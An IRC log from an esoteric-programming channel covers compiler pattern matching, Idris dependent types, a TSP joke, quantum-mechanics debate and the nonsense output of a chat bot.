01:05:50 <int-e> In reality it's a bit more fun. This looks reasonable: i: [come from a,b]. [branch skip] a: [branch i] skip: b: [branch i]
01:06:33 <int-e> so i ... b spans an inner block where branches to i, a, b are allowed anywhere.
01:06:38 <zzo38> Internally the program has a table of flags for instructions, and the branches are any instruction with the "IF_predicate" flag set ("IF" means "Instruction Flag"). There are various other flags too, mainly used for optimization although they have other purposes too.
01:07:11 <int-e> (Ah, I had IF = interactive fiction)
01:07:39 <zzo38> int-e: Well, that isn't how it works; to simplify it I am not doing things like that; "skip:" then also needs a branch target from "i:" to do like that.
01:08:27 <int-e> zzo38: right, I forgot the come from for the skip label.
01:08:58 <int-e> that wasn't the point, the point was that some code could jump over the a: label.
01:09:49 <zzo38> Yes, it is possible for code to jump over other labels.
01:09:59 <zzo38> There isn't anything against that.
01:10:22 <zzo38> The code between them then won't constitute an "inner block", but that is OK.
01:14:13 <int-e> So here's you inner block then, formally: Each branch a: [branch b:] defines a *branch interval* from labels a (inclusive) to label b (exclusive) if it's a forward jump; from labels b to a, both inclusive, if it's a backward jump. An inner block is an interval I that for each branch interval B, I fully contains B, B fully contains I, or B and I are disjoint.
01:14:49 <zzo38> The idea is I am trying to pattern match one or more instructions which are specified in the pattern, followed by an inner block (which may have further restrictions placed, depending on the pattern), and then the rest of the pattern specifies what instructions come after that block, and then to replace it using another pattern.
01:16:02 <int-e> [Oh I need some additional care there, at the interval boundaries. Icky, but it doesn't look *too* horrible.]
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01:17:43 <zzo38> JWinslow23: Ears is not enough for speaking up.
01:17:49 <int-e> `relcome JWinslow23
01:17:51 <HackEgo> JWinslow23: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
01:18:09 <int-e> ears are astonishingly useless with standard IRC interfaces.
01:18:17 <JWinslow23> http://www.mediafire.com/listen/eo3s4eg2794rack/WinningSongJosiahW.wav
01:18:22 <int-e> (I don't have a screenreader)
01:19:24 <zzo38> I have figured that I could find an inner block by keeping track of what is the first instruction in the block, and then to keep track of what instruction is mentioned which is closest to the end, and requiring the target to be earlier than the last instruction in the block. Would this work?
01:23:43 <zzo38> (In addition, depending on what it is doing, it may also have to keep track of stack effect and so on)
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01:24:35 <boily> good randomized evening.
01:24:41 <zzo38> One thing I am not sure of is how to encode the additional conditions.
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01:28:15 <Bicyclidine> oh yeah, well good DETERMINIST evening to you, JERK
01:28:49 <int-e> zzo38: some idea, which in retrospect sounds like what you described, as python pseudo-code: http://sprunge.us/YMHK?python
01:30:07 <int-e> oh. wrong. end == cur should be end <= cur.
01:31:24 <zzo38> int-e: Yes, this is mainly like what I am doing, actually. What I don't quite know is how to encode all of the additional conditions that are needed, such as local and global variables reading/writing, not doing I/O, and various other things, as parameters to the subroutine which finds it.
01:32:06 <int-e> . o O ( make it a higher order function. )
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01:32:52 <zzo38> Yes I suppose that would be one way.
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01:35:48 <boily> Bicyclidine: I played mahjong today. I embodied randomness, embraced it, welcomed it in my brain.
01:36:32 <int-e> zzo38: So I guess I'd start with some regex-like matching language (with basic building blocks that can match instructions), where instructions can be matched in two modes: one that ignores it for 'inner block' tracking, and one where it's taken into account for inner block tracking.
01:38:59 * int-e considers sleep, and approves of the idea.
01:39:31 * boily throws a green dragon tile at Bicyclidine, misses, hits int-e on the head an puts him in a coma.
01:39:47 <Sgeo> Should I read an Agda tutorial to understand dependent typing?
01:39:52 <Sgeo> I prefer Idris
01:39:55 <zzo38> I haven't actually played mahjong recently
01:40:00 <Sgeo> Cumulative universes seem like a good idea)
01:40:45 <zzo38> boily: Have you ever looked at Washizu mahjong at all? I have a set of pieces for playing Washizu mahjong.
01:41:29 <boily> zzo38: I know what it is, but never played it.
01:41:47 * boily is shopping for a laptop. «Maudit que ça coûte cher avoir de quoi de décent au Canada!»
01:42:58 <zzo38> Once I played Washizu mahjong at anime convention.
01:43:17 <zzo38> We each played two hands and kept score in a separate sheet of paper.
01:43:47 <boily> I have a kilogram of poker chips for mahjong scoring.
01:44:46 <boily> zzo38: have you ever bought a laptop in Canada?
01:44:50 <zzo38> I don't own many poker chips. I do have the sticks for mahjong scoring, but I used the paper for keeping track of hit-points (in normal mahjong, you would still use it, to keep track of match points, instead).
01:45:03 <zzo38> I have never bought a laptop anywhere.
01:46:10 <boily> we very rarely use the sticks. I find them confusing.
01:46:34 <boily> (except that one time that guy had some brightly coloured sticks. it was better.)
01:53:47 <boily> holy fungot. I clicked on the confirm order button.
01:53:47 <fungot> boily: snatches of what i have to tell. glancing at these pictures as i took them from the pencil shorthand:
01:54:16 <boily> fungot: the pictures and specs convinced me. plus there was a 30$ sale going on. not much, but it's better than nothing.
01:54:16 <fungot> boily: of unplumbed space. the old tracks crossed river street at grade, and on the clear nights the pole star leered as never before. this time the other odor ahead. paradoxically, it was observed to sink into a well, and some clambering down through networks of limestone caverns in the hollow hills and left the old bed toward the ocean as it blazed in the spectral half-light where the giant trees squirmed and twisted grotesqu
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01:55:23 <boily> ouch. a new digit appeared in front of my credit card bill.
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02:00:19 <boily> quintopia: quinthellopia!
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02:07:12 <boily> I just bought a laptop! I have to wait! my heart is racing! I'm drinking お酒!
02:07:40 <boily> mine comes with ubuntu 13.10!
02:07:42 <quintopia> well i want a windows computer. but i may set it up to be dual boot later
02:08:03 <quintopia> meantime, i can play all those windows-only games i've been meaning to play for years
02:08:34 <quintopia> s see if it's done configuring itself yet...
02:10:20 <boily> I need to find a way to get a pack of 40A-L o-ring dampeners shipped to Canada. my new teammates dislike my new mechanical keyboard.
02:14:47 <boily> I am... the Recenter Consumer.
02:16:08 <boily> (also, there's a strong possibility that I'll just archlinuxify it the moment I can get my mittengraben on it.)
02:17:34 <boily> no idea. I'm a loyal fluxbox user, so all that gnome 3 stuff and suchlike is pretty unknown to me.
02:20:09 <Bicyclidine> i probably won't totally install a new distro. i'll just flay this one.
02:20:22 <boily> they say it comes with 13.10. that's as much as I know.
02:20:36 <boily> (btw, it's a galago from system 76 I bought.)
02:25:03 <Bicyclidine> ...so have you not turned the thing on yet? or did you just put in an arch bootdrive without looking at ubuntu
02:26:19 <quintopia> okay let's see if chrome is done installing
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02:28:55 <boily> can one install firefox on a chromeos machine?
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02:31:20 <metasepia> Antonina Georgievna Borissova (19031977) was a Russian botanist, specialising in the flora of the deserts and semi-desert of central Asia.
02:36:50 <boily> fungot: where do you work?
02:36:50 <fungot> boily: above these apparent hieroglyphics was a figure of evident pictorial intent, though carter well knew that such a sound as their stinking green ichor oozed fnord upon that porous earth with the obscene fungi.
02:37:19 <boily> fungot: ancient socio-microbiology of the fungus?
02:37:19 <fungot> boily: document modified: contrasted views of the outer beings and had later killed himself, but elwood could form no guess; and it cost us a genuine pang to leave this probably crippled old fnord a lone survivor to the peril of recapture and a nameless thing had dropped from an overhanging tree into a fnord sleep from which i thought i had seen the sad remains of their ill-made cottages as i passed them by with the party, open
02:37:22 <quintopia> i know a dude who works at google also but i doubt he works on chromeos...
02:37:44 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft* nethack pa qwantz sms speeches ss wp youtube
02:37:59 <quintopia> no wonder it seemed so MELODRAMATIC
02:38:16 <fungot> Selected style: qwantz (Dinosaur Comics transcriptions 2003-2011)
02:38:46 <boily> fizzie: I am sad. your infamous bot doesn't have an oots style.
02:39:02 <boily> someone should do it manually!
02:39:14 <boily> not me. I have the Wisdom to take care of.
02:39:32 <quintopia> and not me because i am not an ootser
02:39:48 <quintopia> fungot: please transcribe oots AUTOMAGICALLY
02:39:48 <fungot> quintopia: oh, that may be a fact; it is impossible to know if my dream, everything had turned into plasticine! do i like it because it's so delicious because i like to keep my own counsel.
02:40:15 <boily> quintopia: fungot is eating plasticine. I don't think he'll be of much help there.
02:40:15 <fungot> boily: different ways to say " no, i will definitely not love: not the same: the judge of that!"
02:40:28 <quintopia> there is a dinosaur comics about lucy in the sky with diamonds? now i want to go read DC
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02:46:47 <boily> (murray too, if you happen to like skulls.)
02:47:21 <quintopia> http://www.qwantz.com/index.php?comic=272
02:50:06 <boily> murray, as in that skull from Monkey Island, and as it happens in DCSS too.
02:50:17 <quintopia> when you buy an eel pie but the eel bites your eye...that's a moray!
02:52:02 * boily lightly mapoles quintopia
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02:56:22 <Sgeo> Wonder if 3dna is a bit like a 3d version of Microsoft Bob
02:56:33 <Sgeo> Which doesn't really stop me from liking 3dna
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03:08:20 <quintopia> why doesn't boily leave metasepia running when he goes to bed :?
03:20:50 <zzo38> How should a pattern for matching the sequence of instructions be formatted?
03:24:54 <Bike> 3-deoxyribonucleic acid
03:25:25 -!- constant has changed nick to variable.
03:29:49 <Sgeo> I should totally buy Fitznik and Fitznik 2
03:29:59 <Sgeo> I remember a friend helping me solve a Fitznik level
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03:36:52 <Sgeo> :( I can't find where to buy it
03:36:58 <Sgeo> CNET linked me to dexterity.com
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03:39:58 <Sgeo> http://www.sodaware.net/games/fitznik/
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04:13:01 <Bike> http://arxiv.org/abs/1402.7301
04:21:29 <oklopol> The largest TSP instance so far that has been solved optimally has 85,900 vertices.
04:21:48 <oklopol> let me break the world record
04:23:30 <oklopol> consider the labeled directed graph (\{0,\ldots,85900\},\{(i,i+1) (mod 86901)\},(i \mapsto 1))
04:24:28 <oklopol> its only hamiltonian cycle is (up to a rotation), (0,\ldots,85900,0), by considering the possible continuations from 0
04:24:57 <oklopol> the distance traveled is 85901
04:25:45 <oklopol> "Its solution required more than 136 years of total CPU time using the branch-and-cut based Concorde TSP code [1]"
04:25:51 <oklopol> sometimes my brain amazes me
04:29:12 <oklopol> Bike: if you think that's silly, please supply a sensible meaning to their sentence
04:29:19 <oklopol> otherwise, i'm claiming my prize
04:29:37 <oklopol> i'm calling the nobel dudes as we speak
04:30:32 <Bike> gonna go out on a limb here and guess that in tsp studies they imply random or otherwise nontrivial graphs
04:31:07 <Bike> alternately we could assume the authors are fucking stupid
04:33:47 <oklopol> well i'm sad to say that i'm generally not at all surprised to find a claim that stupid in a research article, although i don't think this was such
04:33:48 <Bike> the citation has a pretty cover http://press.princeton.edu/titles/8451.html
04:34:20 <Bike> this is arxiv, not vixra, know what i mean
04:40:50 <oklopol> the "random" is a bit tricky too, often there are multiple natural distributions. if you take n vertices and choose distances uniformly from [0, 2^n), do you get something hard? it could be that because you have only polynomially many edges in there, the gaps are actually big enough that any greedy algorithm is likely to give you the optimal path
04:41:37 <oklopol> wait maybe you should take the distances uniformly from [0, n)
04:42:28 <oklopol> i guess TSP is hard even then because even hamiltonian is, i guess big numbers are only needed in subset sum problem family
04:43:32 <Bike> i meant random like throwing a bunch of needles at a floor or something.
04:43:35 <Bike> no need 4 thought
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04:45:21 <oklopol> ah, you must be referring to the needle throwing axiom which posits that every set has a natural distribution
04:45:34 <oklopol> known to be independent of both AoC and the axiom of determinacy
04:46:10 <oklopol> meant to say *inconsistent with
04:49:48 <zzo38> Needle throwing axiom?
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04:50:41 <oklopol> yeah AN, introduced by Kalenius in a seminal irc log some minutes ago
04:52:01 <zzo38> How is it "known to be independent of both AoC and the axiom of determinacy"? Prove it.
04:52:28 <Bike> if you want me to leave i can do that.
04:58:20 <oklopol> the needle throwing axiom lets you say "random" without specifying a distribution. it's the wet dream of every mathematician and whatnot. similar to axiom of choice and determinacy, but the dream is even wetter, and unfortunately makes little sense.
05:00:39 <oklopol> (Bike probably just meant that they have some specific graph in mind which they took "randomly" in some sense and it seemed canonical enough; or something. just for the record, i'm not making fun of him, in case he's getting pissed or something.)
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05:13:09 <zzo38> Someone wrote: "I am amazed that more computer scientists do not reject evolutionary biology out of hand. A cells CPU, the ribosome, perfectly fits the definition of a Turing Machine, including I/O and memory. Computer science, specifically the Computability Theory, proves that the output of a Turing Machine cannot predict the input to it the results cannot create the programming - yet the "theory of evolution" relies on this happening!"
05:13:21 <zzo38> That's silly; it isn't Turing complete.
05:15:05 <oklopol> "the output of a Turing Machine cannot predict the input to it the results cannot create the programming"
05:16:30 <zzo38> I was hoping you know.
05:18:14 <oklopol> unfortunately i'm only good at pointing out parsing errors :(
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05:23:21 <Sgeo> > :t (Type, [Type])
05:23:21 <idris-ircslave> Can't disambiguate name: Prelude.List.::, Prelude.Stream.::, Prelude.Vect.::
05:23:22 <lambdabot> <hint>:1:1: parse error on input `:'
05:23:28 <Sgeo> > :t with List (Type, [Type])
05:23:29 <lambdabot> <hint>:1:1: parse error on input `:'
05:23:41 <Sgeo> Hmm, was hoping for someting more bizzare
05:23:45 <lambdabot> <hint>:1:1: parse error on input `:'
05:24:01 <Sgeo> Was hoping to get something like (Type 1, List Type)
05:24:16 <Sgeo> I think Type 1, Type 2, etc. is normally hidden by Idris
05:24:28 <oklopol> well not as good as lambdabot
05:26:43 <Sgeo> > :t the (so (2 == 2)) oh
05:26:43 <idris-ircslave> the (so (fromInteger 2 == (fromInteger 2))) oh : so (fromInteger 2 == (fromInteger 2))
05:26:44 <lambdabot> <hint>:1:1: parse error on input `:'
05:27:04 <Sgeo> > :t the (so (2 == 3)) oh
05:27:05 <lambdabot> <hint>:1:1: parse error on input `:'
05:27:26 <Sgeo> How does Idris know to ... keep holding onto that function, as is, in the type?
05:27:31 <Sgeo> Once it checks unification
05:27:35 <Sgeo> Is that what it's doing?
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05:28:20 <Sgeo> > :t the (so (1 + 1 == 2)) (the (so (2 == 1 + 1)) oh)
05:28:21 <lambdabot> <hint>:1:1: parse error on input `:'
05:28:22 <idris-ircslave> the (so (fromInteger 1 + (fromInteger 1) == (fromInteger 2))) (the (so (fromInteger 2 == (fromInteger 1 + (fromInteger 1)))) oh) : so (fromInteger 1 + (fromInteger 1) == (fromInteger 2))
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05:28:44 <Bike> what are the, so, and oh
05:28:51 <lambdabot> <hint>:1:1: parse error on input `:'
05:29:09 <lambdabot> <hint>:1:1: parse error on input `:'
05:29:10 <Sgeo> the takes a type and gives id for that type, basically, coercing something to the type
05:29:22 <Sgeo> (If it typechecks)
05:29:32 <Sgeo> So, it's like :: on an expression in Haskell, except as a function
05:29:54 <lambdabot> <hint>:1:1: parse error on input `:'
05:30:08 <lambdabot> `s' (imported from Debug.SimpleReflect),
05:30:08 <lambdabot> `o' (imported from Debug.SimpleReflect),
05:30:08 <lambdabot> `iso' (imported from Control.Lens)
05:30:19 <Bike> ok, this one i don't get.
05:31:16 <Sgeo> They're poorly named, because someone thought oh so True sounded funny
05:31:24 <Bike> somehow i expected that.
05:31:29 <idris-ircslave> (input):1:4:oh does not have a function type (so True)
05:31:30 <lambdabot> `F.or' (imported from Data.Foldable),
05:31:30 <lambdabot> `h' (imported from Debug.SimpleReflect)Not in scope: `so'
05:31:50 <Sgeo> so (some boolean expression) is a type that requires a proof that the boolean expression is true
05:32:05 <Sgeo> Because there's a way to construct a so True, but no way to construct a so False
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05:32:53 <idris-ircslave> Prelude.Either.choose : (b : Bool) -> Either (so b) (so (not b))
05:32:54 <lambdabot> <hint>:1:1: parse error on input `:'
05:33:18 <Sgeo> You can construct so's with choose, which takes a boolean and gives Either the proof that it's true or the proof that it's not true
05:33:26 <Sgeo> As in Left prf or Right prf
05:33:59 <Sgeo> Which you can then pass to a function expecting a proof of that boolean
05:36:31 <Sgeo> Best explanation I see (this is where I got my understanding from)
05:36:32 <Sgeo> https://groups.google.com/d/msg/idris-lang/eLn2vfQofoc/drn6fq3cilcJ
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05:42:22 <Bike> it does idris rather than haskell.
05:42:37 <Bike> i must say the colors seemed a lot less annoying in webchat.
05:43:45 <Sgeo> I think there's a purpose to them, I'm not sure what it is
05:45:50 <ion> That usage of Left/Right seems flipped compared to Haskell.
05:46:38 <Bike> well, type variables are pink and type constructors are blue, for a start
05:47:02 <Sgeo> Constructors are red
05:47:17 <Sgeo> um... data constructors?
05:47:56 <Bike> and functions are green. except i don't know what's going on with choose because i'm not a type person ololol
05:53:42 <zzo38> What about, things other than type variables, type constructors, data constructors, functions, etc? Such as comments?
05:54:08 <Bike> how would you go about getting the bot to display a comment
05:56:26 <zzo38> I don't know, but probably it would need to know what color to use, in case you typed in the comment yourself, for example.
05:57:18 <Bike> it's a bot, not an editor.
05:57:46 <zzo38> Yes, but you still need to know the color in case you are syntax highlighting code you have written by yourself (it doesn't have to be an editor).
05:59:02 <Bike> why would idris do that
05:59:08 <Bike> idris-ircslave i mean
06:15:58 <zzo38> So that you can use the same colors in other programs, mainly.
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06:32:40 <HackEgo> lrrcoin selfcoin bfficasmilcoin chneuroncoin gammascoin unlamcoin minimamcoin chamcoin taxicoin neurcoin piecescoin armocoin spircoin bfmcoin befannationcoin browcoin hoshcoin sallercoin x+coin waideaucoin
06:33:09 <ion> Which hosh algorithm does your cryptocoin use?
06:36:23 <Bike> triple des - seven times, for security
06:36:49 <zzo38> Bike: You should use uncorrelated keys with each one.
06:37:21 <zzo38> I have read report of quantum psychokinesis ("The strange properties of psychokinesis" by H. Schmidt, 1987). It look to me these experiements are inconclusive because they are insufficient, and I can think of many ways to improve the experiments. However, RPKP now lists many more reports of other experiments, much of which are the improvments I have thought of.
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06:42:38 <zzo38> Do you agree with me the experiments mentioned in the report named there seems to be a bit insufficient?
06:45:24 <Bike> 8i would not be surprised
06:46:15 <zzo38> Bike: Can you please be more specific?
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06:48:33 <zzo38> It has been claimed that quamtum mechanics permits psychic phenomena. According to my opinion, that is like claiming that Einstein's relativity permits time travel. Do you agree/disagree?
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06:55:08 <zzo38> Slereah_: Can you explain more specific what you mean by that? I don't quite understand, why not what, to be specific?
06:55:25 <zzo38> I found a 404 error page that lists error message in many languages, including semaphore flags.
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06:59:08 <zzo38> (It is the ibiblio error message)
06:59:47 <Slereah_> Although relativity does permit time travel
06:59:57 <Slereah_> General relativity is lousy with time travelling solutions
07:00:10 <Slereah_> Whether they're physical is another matter though
07:02:32 <Slereah_> Even pretty common solutions like the Kerr solution
07:03:09 <Slereah_> Though it's not really physical because the closed timelike curves are very unstable in the Kerr solution
07:05:17 <zzo38> Yes I have read about those things
07:05:32 <zzo38> Which is why I say what I did
07:06:08 <Slereah_> ...but that's not at all like saying QM permits magic?
07:08:55 <Slereah_> While time travel is a bit marginal because of the probable non-physicality, it is a legitimate field of research of relativity
07:08:55 <zzo38> I didn't say magic; I said, some kinds of psychic phenomena, not necessarily all kinds.
07:09:20 <zzo38> Whether or not it is possible is unknown, but it is as unstable as those time travel solutions at least.
07:09:40 <Slereah_> The time travel solutions are mathematically proved to exist
07:09:53 <Slereah_> I don't think there's any hint that QM permits psychic powers
07:10:15 <Slereah_> Really even articles about any link between QM and the human brain raises red flags
07:11:07 <Slereah_> I don't know why but some people are really into the idea that QM is somehow related to consciousness
07:11:10 <zzo38> There is link between QM and everything, the human brain included, but really it is just a part of a universe. Dividing them into different physical objects in that way is just one way to do so, and doesn't seem relevant here.
07:11:25 <Slereah_> Even though it's pretty unlikely because of the scales involved
07:11:34 <zzo38> It isn't specifically to do with consciousness or human thoughts.
07:11:51 <Slereah_> Sure, the human brain does work on QM, but in the classical limit mostly
07:12:34 <zzo38> Yes, mostly in the classical limit. It too is how I have said before, there is two kind of free will.
07:13:36 <zzo38> Classical free will, which is illusory and is mostly the effect, and quantum free will, which is more free but has little effect.
07:13:58 <Slereah_> I don't even know why people care about free will
07:14:00 <zzo38> Clearly the same laws of physics must effect everything, regardless of scale.
07:14:07 <Slereah_> It doesn't really seem like something desirable
07:14:25 <zzo38> It is just that it doesn't have the effect much compared to scale.
07:14:52 <zzo38> And I mean everything as a whole, rather than as individual parts.
07:15:41 <zzo38> Whether free will is desirable or not is not the point at all.
07:16:13 <Slereah_> Otherwise people wouldn't work so hard on it.
07:17:36 <Bike> zzo38: have you read http://www-tc.pbs.org/wgbh/nova/manyworlds/pdf/dissertation.pdf
07:17:41 <Bike> i'm slowly pretending to read it
07:18:01 <zzo38> I can try to look now
07:18:41 <zzo38> Slereah_: Maybe, to those people it is, but I mean it isn't the point to what my philosophies of science to figure out such things, are.
07:19:34 <zzo38> Bike: Can I buy the book? It is too many pages that I would want to print on my own computer.
07:19:36 <Slereah_> Well free will is kind of a trivial problem if you allow for both non-determinism and reductionism
07:21:03 <zzo38> I don't allow for reductionism. There is many ways to split things into parts, none of which is "real".
07:22:01 <zzo38> Emergent properties, yes.
07:22:12 <Bike> zzo38: it's a dissertation. they're kind of hard to find hard copies of, at least for sale. maybe a uni library has it.
07:22:13 <zzo38> I don't believe in Cartesian dualism.
07:22:28 <Bike> anyway it seems you-ish 'Since the universal validity of the state function description is asserted, one can regard the state functions themselves as the fundamental entities, and one can even consider the state function of the entire universe. In this sense this theory can be called the theory of the "universal wave function," since all of physics is presumed to follow from this function alone'
07:22:43 <Slereah_> zzo38 : http://www.ditext.com/broad/mpn14.html#t
07:23:07 <Bike> also, it's by an actual physicist instead of a crazy person (hard to distinguish eh)
07:23:56 <zzo38> Well, they certainly are better if they are by an actual physicist, or at least by someone who understands much of physics.
07:24:59 <Bike> the author is hugh everett iii; this is his dissertation, where the many-worlds interpretation came from
07:25:25 <zzo38> Slereah_: I would have to read that extensively to do so, but then maybe I will.
07:27:05 <zzo38> Bike: I prefer the "constraint interpretation" which actually I made up. Mathematical equations are possible to have many solutions, one solution, or no solutions, and may or may not be computable.
07:29:01 <zzo38> However, I have made up a lot of crazy things, not only this, but also "matrix accounting".
07:30:17 <Bike> sounds very relevant to wavefunctions
07:36:06 <fizzie> @ask boily Well, is the text of the strips available?
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07:42:30 <zzo38> Bike: What is relevant to wavefunctions?
07:42:47 <Bike> matrix accounting
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07:48:13 <zzo38> Not really, although it does use Dirac notation.
07:48:29 <zzo38> It doesn't have much to do with physics.
07:48:39 <zzo38> Although it uses similar notations.
07:49:11 <Bike> heyyyyyy folks here's a shitass of books https://archive.org/details/folkscanomy
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08:27:09 <oerjan> ais523: happy lawful good day
08:27:47 <ais523> it's a good day for it, too, for reasons I don't really want to go into due to lawful goodness
08:29:10 <Bike> happy september 7489
08:29:27 <fizzie> Happy ddate: command not found.
08:30:07 <ais523> interesting, especially because ddate's in default installs of Debian because it's in the same package as something really important
08:30:33 <fizzie> Ubuntu patched it out, and I'm at work now.
08:30:51 <ais523> ah no, it was mkfs I was thinking of
08:31:01 <fizzie> (Actually, Debian patched it out too, and then restored it. It's all there in the util-linux bug lists.)
08:31:09 <HackEgo> Today is Boomtime, the 62nd day of Chaos in the YOLD 3180
08:32:08 <oerjan> this means of course that ubuntu users will be doomed when CHAOS comes
08:32:34 <fizzie> \renewcommand{\arraystretch}{1.1}
08:32:46 <fizzie> How did that end up in the selection?
08:32:59 <oerjan> stretching and renewing with latex
08:32:59 <fizzie> http://sprunge.us/cJNd is what I was trying to say.
08:34:54 <fizzie> "People with more traditional moral values might not appreciate a reference to or advertisement for this movement being present on their system." #149321
08:36:02 <fizzie> (#174459, #180737 were actual technical issues with ddate.)
08:36:59 <ais523> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=149321 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=650321
08:37:11 <ais523> interestingly, both bug numbers end with the same last three digits
08:37:38 <oerjan> is there an islamic date somewhere in the system? i imagine a way to use discrimination issues to raise some hell...
08:38:18 <oerjan> ais523: clearly the work of eris
08:39:19 <lifthrasiir> my long-standing belief includes the ban on non-ISO-8601 date formatting (so that `date` alone crashes)
08:39:27 <shachaf> ok, you know that series of books about Emil?
08:39:46 <shachaf> there was a thing with his father and his foot and a mousetrap under the table or something, right?
08:40:01 <shachaf> or am i thinking of something else
08:40:14 <shachaf> was it his father who talked about the value of shoes that last a long time?
08:40:18 <oerjan> i dunno, i don't remember everything emil
08:40:49 <olsner> the mousetrap thing fits, but I wouldn't remember talk about the value of shoes
08:40:51 <shachaf> i might be thinking of something else
08:41:14 <ais523> lifthrasiir: if you have beliefs that contradict POSIX, then it would be quite difficult to persuade operating systems to accommodate for them
08:41:21 <oerjan> (don't think i've read the books, except occasionaly bits)
08:41:44 <olsner> if you do have religious convictions against POSIX, what operating system could you use?
08:42:19 <lifthrasiir> ais523: I fully understand POSIX's position though.
08:42:32 <oerjan> and i probably haven't seen all the tv series either, but my memory is strangely vague 35 years back
08:42:50 <ais523> olsner: well Windows isn't POSIX-compatible by default, and many operating systems don't claim POSIX compatibility at all
08:44:45 <oerjan> pretty sure TempleOS isn't POSIX
08:45:48 * oerjan suddenly wonders if there's a JihadOS somewhere
08:46:32 <Bike> they mostly use windows, like everyone else.
08:47:01 <oerjan> there's a jihad os youtube channel, but it seems irrelevant.
09:08:21 <fungot> Selected style: sms (National University of Singapore SMS corpus, 2011-08-20)
09:08:30 <fungot> fizzie: today i am in cbe only. but have to seek. hee... i come to get yours.
09:09:04 <ion> Selected style: sms (National Security Agency of USA SMS corpus)
09:10:26 <fizzie> fungot: You're sounding suspiciously grammatic there.
09:10:27 <fungot> fizzie: no i am not near so cant come.pls ask ur famly2b there4 novena i wait for u.
09:10:27 <fungot> shachaf: its just decorative askeveryone bah PAT cineleisure. its really no 1 in most of the sites to take u back
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10:04:11 <fizzie> Bike: "Get MATLAB Certified" "Enhance your credibility and accelerate your career by earning this credential."
10:04:14 <fizzie> 2. certifiable, certified -- (fit to be certified as insane (and treated accordingly))
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10:11:02 <oerjan> ais523: i'm not quite sure how [[MOS:CODE]] applies here; should i delete the whole section or leave the python https://en.wikipedia.org/w/index.php?title=Look-and-say_sequence&curid=563980&diff=597851911&oldid=590719332#Computer_program
10:11:31 <oerjan> (it has been gradually growing, and today someone added php)
10:12:21 <oerjan> in particular, i'm not sure _any_ of the code samples are particularly illustrative
10:13:04 <oklopol> i'm not sure who i'm asking exactly, but something i've been wondering lately because i've been pretending to read some quantum computation stuff: so is the many-worlds interpretation of quantum mechanics specific to quantum stuff somehow, in the sense that it's not just a many-worlds interpretation of randomness, but with quantum-type probabilities instead? (by the mw interpretation of randomness i mean we assume physics has random stuff, and branch
10:13:04 <oklopol> world when random happens)
10:13:26 <ais523> the PHP definitely needs to be deleted, per that section; I'd say delete them all because none of them implement an algorithm described in the article
10:13:37 <oklopol> (maybe i'm asking oerjan because he surely pretends to vaguely recall this stuff)
10:22:56 <oerjan> well much of the weirdness is because the quantum-type probabilites and entanglements prevent you from dividing it up into what i assume you mean by many-worlds interpretation of randomness. so i'd say yes.
10:37:58 <oklopol> actually i have no idea what a many-worlds interpretation would even be for qm stuff
10:38:14 <oklopol> and the way i've heard it described it applies to randomness, but not quantum stuff
10:38:33 <oklopol> so maybe it's a bit too early for me to ask this kind of question
10:40:08 <oklopol> but i totally grok grover's algorithm
10:41:11 <oerjan> good, good, because i don't.
10:57:46 <olsner> I wonder if fungot shaves
10:57:46 <fungot> olsner: there is no. yellow is yes. i tell. stupid hear after i wont talk to you:-. lg so in lv, her class ends. lets u dwn ur dirty. that was very well done! could see lot ofthought put into it. happy to help anytime :)
11:00:17 <ais523> I love the way that that look likes a relevant answer, and yet it's totally unclear what it means
11:01:28 <olsner> fungot: glad that you're happy but it didn't help
11:01:28 <fungot> olsner: k d i vil cum der dude..u dint create to
11:02:36 <ais523> hmm, I'm reading an article (found via reddit) whose author was actually using numbers so large they broke GMP's deserializer: http://fredrikj.net/blog/2014/03/new-partition-function-record/
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11:09:51 <olsner> I like the last fun fact about the result
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11:17:29 <Jafet> Also links to the nice sequence http://oeis.org/A110375
11:19:09 <oerjan> "With current technology, the most efficient way to determine p(n) modulo a small integer is to compute the full value p(n) and then reduce it." <-- huh.
11:22:42 <Jafet> http://upload.wikimedia.org/math/3/5/d/35dd2572c02024c6ef2767567c153453.png
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11:38:57 <ion> http://imgur.com/gallery/18fM5ja
11:40:42 <ion> http://25.media.tumblr.com/65b069ec1d366940e14a407192b163c4/tumblr_n0docrpPEt1qzpsuoo1_1280.jpg
11:48:48 <lambdabot> fizzie asked 4h 12m 42s ago: Well, is the text of the strips available?
11:49:02 <ion> @massages-lord
11:49:04 <ion> @massage-lord
11:49:15 <ion> @massages-lard
11:49:50 <ion> @messages-lard
11:50:01 <boily> fizzie: it was a purposefully silly request, but if the text is available one way or another, then it's a plus.
11:50:05 <ion> It matches anything with L. distance ≤ 2?
11:50:12 <fizzie> boily: I forgot to @tell that I read a bit more of the backscroll and deduced the answer was "apparently not".
11:50:32 <boily> fizzie: fizziello!
11:50:41 <fizzie> boily: It might be an amusing diversion to do a bit of speech bubble recognition and OCR.
11:51:15 <boily> ion: also, do you happen to have a keyboard shortcut to get «≤»?
11:51:21 <ion> boily: compose < =
11:51:25 <oerjan> ion: also an exact unambiguous prefix
11:51:33 <ion> oerjan: ok
11:51:43 <boily> ion: oh. the mysterious compose key.
11:51:44 <ion> @qessages-loud
11:52:12 <oerjan> ok the responses are different
11:52:46 <lambdabot> Maybe you meant: messages? messages
11:53:17 <fizzie> Oh, right, messages- is one of those unambiguous prefixes.
11:53:32 <oerjan> right, that's what i was testing
11:57:23 <fizzie> I guess it's enough that the correction with the shortest L. distance is unique.
11:58:52 <boily> @be ++++[>++++++++<]>+.
11:59:02 <boily> @be ++++[>++++++++<-]>+.
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12:09:17 <b_jonas> "@be"? wouldn't that be short for befunge?
12:11:52 <fizzie> If only lambdabot did that.
12:26:00 <b_jonas> maybe it's a strange befunge variant that has a call bracket loops and a call stack of positions
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12:40:51 <lambdabot> Not in scope: `the'Not in scope: data constructor `Fin'
12:40:52 <lambdabot> Perhaps you meant `Fini' (imported from Lambdabot.Plugin.Haskell.Eval.Trusted)
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13:04:36 <fizzie> Assuming no other commands affecting control flow, in a single-line Funge-98 program [abcd] *is*, in fact, a loop, albeit one that bounces around (executes abcd dcba abcd dcba...) and is not conditional at all. And wouldn't be entered in the first place in "++++[>++++++++<-]>+.".
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13:17:57 <Sgeo> "Worms developer Team17 revealed at the PlayStation Open Day in Royal Leamington Spa in Warwickshire, Englandthat that a new intellectual property named Flockers is in the works. "
